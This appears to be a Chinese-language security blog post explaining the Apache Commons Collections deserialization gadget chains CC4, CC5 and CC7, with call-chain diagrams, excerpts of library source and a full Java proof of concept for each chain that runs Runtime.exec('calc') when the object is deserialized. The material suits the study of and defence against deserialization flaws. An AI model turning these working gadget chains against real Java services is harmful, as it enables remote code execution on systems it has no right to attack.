CommonsCollections4

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

同样是在4的环境下

cc3引入了InstantiateTransformer类替换了InvokerTransformer对cc1链进行变形绕过过滤。同理,cc2也能做同样的变形形成一条新的利用链,这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl类的实例直接放入队列,而是第二次transform()的时候即调用该类的newInstance()实例化,而实例化的参数因为也是可控的,因此在参数位置放入TemplateImpl类的实例

PriorityQueue.readObject()
     PriorityQueue.heapify()
        PriorityQueue.siftDown()
              PriorityQueue.siftDownUsingConparator()
           ChainedTransformer.transform()
              InstantiateTransformer.transform()
                             (TrAXFilter)Constructor.newInstance()
                    templatesImpl.newTranformer() 
                        Method.invoke()          
                                            Runtime.exec()

poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CommonsCollections_4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        // 创建CommonsCollections4对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections4");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置CommonsCollections4类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();
        // 通过反射注入bytes的值
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl, new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        // 通过反射设置_name的值不为null
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl, "L1mbo");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})  // 将TemplatesImpl实例放进参数值位置,与cc3原理一样,便于在构造函数中触发newTransformer
        };
        // 封装chained转换链
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        // 封装外层的队列
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue, transCom);
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CommonsCollections5

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc6链类似cc5这条链的外部入口变了,但里面没变,依然是和cc1链一样进到LazyMap.get()然后调用Transformer数组进行RCE:

TiedMapEntry#getValue()方法调用了get(),而且map在TiedMapEntry类构造函数中可控

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}
public Object getValue() {
    return this.map.get(this.key);
}

TiedMapEntry#toString方法调用了getValue()方法

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

找一个调用了toString方法可以和readObject()连起来,可以发现BadAttributeValueExpException类的readObject()方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();  // <--此处调用
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

这里让valObjTiedMapEntry类的对象,valObj的来源是:

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

所以这里先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。这里可以用反射机制修改val的为TiedMapEntry类的对象

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                  InvokerTransformer.transform()
                        Runtime.exec()

poc:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections_5 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chian = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map innerMap = LazyMap.decorate(map, chian);
        // 构造外部的触发链触发varobj.tostring到达lazymap.get
        TiedMapEntry entry = new TiedMapEntry(innerMap, "L1mbo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valField = val.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(val, entry); // 将TiedMapEntry实例放进val属性,从而在反序列化还原后最终调用this.map.get
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CommonsCollections7

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc5一样,cc7也是外部入口变了,都是换种姿势调用到LazyMap.get()方法实现一系列调用

这条链子入口是Hashtable类的readObject()方法

private void readObject(ObjectInputStream s)
         throws IOException, ClassNotFoundException
{

    ObjectInputStream.GetField fields = s.readFields();

    // Read and validate loadFactor (ignore threshold - it will be re-computed)
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
        throw new StreamCorruptedException("Illegal load factor: " + lf);
    lf = Math.min(Math.max(0.25f, lf), 4.0f);

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Validate # of elements
    if (elements < 0)
        throw new StreamCorruptedException("Illegal # of Elements: " + elements);

    // Clamp original length to be more than elements / loadFactor
    // (this is the invariant enforced with auto-growth)
    origlength = Math.max(origlength, (int)(elements / lf) + 1);

    // Compute new length with a bit of room 5% + 3 to grow but
    // no larger than the clamped original length.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)((elements + elements / 20) / lf) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    length = Math.min(length, origlength);

    if (length < 0) { // overflow
        length = origlength;
    }

    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
    Hashtable.UnsafeHolder.putLoadFactor(this, lf);
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // sync is eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

Entry是一个数据结构的类,这个类里存放了key和value。table是一个Entry数组,而且为空。这里会调用reconstitutionPut()方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

第一次调用reconstitutionPut(),将key和value存入上面说的table中。然后若循环条件满足继续调用reconstitutionPut()

在if语句里调用了e.key.equals(key),也就是要构造两个Hashtable类的对象并让map1和map2是LazyMap类型,从而调用LazyMap.equals()方法,但LazyMap类里没有这个equals()方法,寻找父类AbstractMapDecorator实现的equals方法

public boolean equals(Object object) {
    return object == this ? true : this.map.equals(object);
}

它去调用map属性的equals方法,这里的map其实是我们创建LazyMap时传入的HashMap

HashMap也没有equals方法,寻找父类AbstractMap实现的equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

这里的迭代器i其实是map1的entrySet()的迭代器,while循环里是拿到map1里的key和value;然后是m,这里的m其实是传递过来的map2,value不为空,所以他会走else,然后先调用m.get(key),实际就是LazyMap.get()

poc:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections_7 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 构造两个hash值相同的Lazymap
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
        lazyMap1.put("zZ", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
        lazyMap2.put("yy", 1);
        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);
        // 移除生成exp过程中因两个Lazymap的hash相同而放入lazymap2的键
        lazyMap2.remove("zZ");
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashTable);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}
最后修改:2024 年 11 月 05 日
如果觉得我的文章对你有用,请随意赞赏